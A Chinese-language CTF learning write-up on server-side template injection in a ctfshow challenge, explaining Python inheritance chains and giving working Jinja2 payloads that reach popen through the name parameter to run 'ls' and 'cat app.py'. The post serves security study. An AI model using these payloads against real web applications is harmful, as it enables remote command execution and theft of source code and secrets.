首页 > 其他分享 >CTF模板注入入门学习

CTF模板注入入门学习

时间:2022-11-19 21:13:09浏览次数:67  
标签:__ .__ 入门 object __.__ CTF subclasses class 模板

对于知识框架的了解,站在巨人的肩膀梭哈大佬文章,很全很nice:

https://blog.csdn.net/LYJ20010728/article/details/120205725?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165811033516781647533366%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=165811033516781647533366&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-4-120205725-null-null.142%5Ev32%5Enew_blog_pos_by_title,185%5Ev2%5Econtrol&utm_term=SSTI%20%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4187

https://xz.aliyun.com/t/3679#toc-8

先大概过了遍,知道ssti是啥东西了,还是迷迷糊糊的,打算直接上手题目分析吧,在实践中学习。

ctfshow ssti

题目一:

盲猜name为注入点,直接打上测试表达式,执行成功存在注入点。

 

 

 

 

Python 中一切均为对象,均继承于 object 对象,Python 的 object 类中集成了很多的基础函数,假如需要在 Payload 中使用某个函数就需要用 object 去操作

常见的继承关系的方法有以下三种:
    base:对象的一个基类,一般情况下是 object
    mro:获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object 在最底层所以在列表中的最后,通过 mro[-1] 可以获取到
    subclasses():继承此对象的子类,返回一个列表

    • __init__
      所有自带类都包含init方法。是服务下面这个函数的

    • __globals__
      function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。


整体攻击思路为:变量 -> 对象 -> 基类 -> 子类遍历 -> 全局变量
具体来说:变量是name

  • 随便找一个内置类对象用__class__拿到他所对应的类
  • __bases__拿到基类(<class 'object'>
  • __subclasses__()拿到子类列表
  • 在子类列表中直接寻找可以利用的类getshell
''.__class__.__bases__[0].__subclasses__()
().__class__.__mro__[2].__subclasses__()
request.__class__.__mro__[1]
''.__class__.__mro__[-1].__subclasses__()

都可以对object对象进行子类的遍历,os._wrap_close类里有popen,我们可以拿来进行命令执行

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

 

 ?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat app.py').read()}}

 

 拿到flag

标签:__,.__,入门,object,__.__,CTF,subclasses,class,模板
From: https://www.cnblogs.com/akger/p/16907068.html

相关文章

  • zblogphp如何使用模板引擎Template类如何使用
    Template类的构造函数没有任何参数,所有的功能都是通过调用其成员函数实现的。$template=newTemplate();//设置模板标签.zblog内置的模板变量和sidebar都在该函数绑定......
  • 关于学生选课系统加模板这件事
    加模版啦!!!!index.jsp(主界面)<html><head><title>主界面</title></head><body><center><formaction="selectServlet"method="post"><table......
  • GKCTF2020-domo
    例行检查全绿,64位保护全开。动态分析增删查改四个功能增删查改改这个功能没太勘定似乎是需要我们输入一个地址去修改,这好像就造成了任意地址写,不太确定,稍后通......
  • docker入门
    docker安装卸载使用Docker仓库进行安装设置仓库安装所需的软件包。yum-utils提供了yum-config-manager,并且devicemapper存储驱动程序需要device-mapper-persis......
  • CTF比赛复盘(三)
    HackerGame-2022WEBXcaptcha人机测试(bushi),要在一秒内回答三道特别大数字的加法问题来获得flag,编写脚本爬虫即可解决。首先要获取题目的html格式信息来提取加法问题,在访......
  • [参考]Powershell简单入门
    由于诸多样本都使用Powershell执行无文件攻击,加载本文可能会触发您的杀毒软件报告。本文不下载任何文件,不执行任何文件,请放心加载!!于实战中应用PowershellPowershell是一......
  • Apache CXF使用入门
    想玩玩ApacheCXF框架,以前一直在用xfire,很想知道这个xfire的升级版本怎么样,折腾了一通,在这里记下配置过程。1.下载apachecxf框架    是人都知道去官方网站去下载就......
  • <三>使用类模板实现STL Vector
    使用类模板实现STLVector,点击查看代码#include<iostream>usingnamespacestd;template<typenameT>classMyVector{public://构造函数MyVector<T>(intsi......
  • 篇(15)-入门实战-权限管理之用户创建与关联角色(ViewModel再用与模型验证一)
    篇(15)-Asp.NetCore入门实战-权限管理之用户创建与关联角色(ViewModel再用与模型验证一)在上个篇章中,讲了角色和菜单的关系(也就是给角色赋权),本章讲用户和给用户分派角......
  • Chrome 插件开发入门
    热门插件安全类 ​​LastPass:密码管理器​​一款Freemium的跨平台在线密码管理工具。旨在通过将用户的密码集中在云端以解决密码疲劳。LastPass使用Web界面为基础,但还提......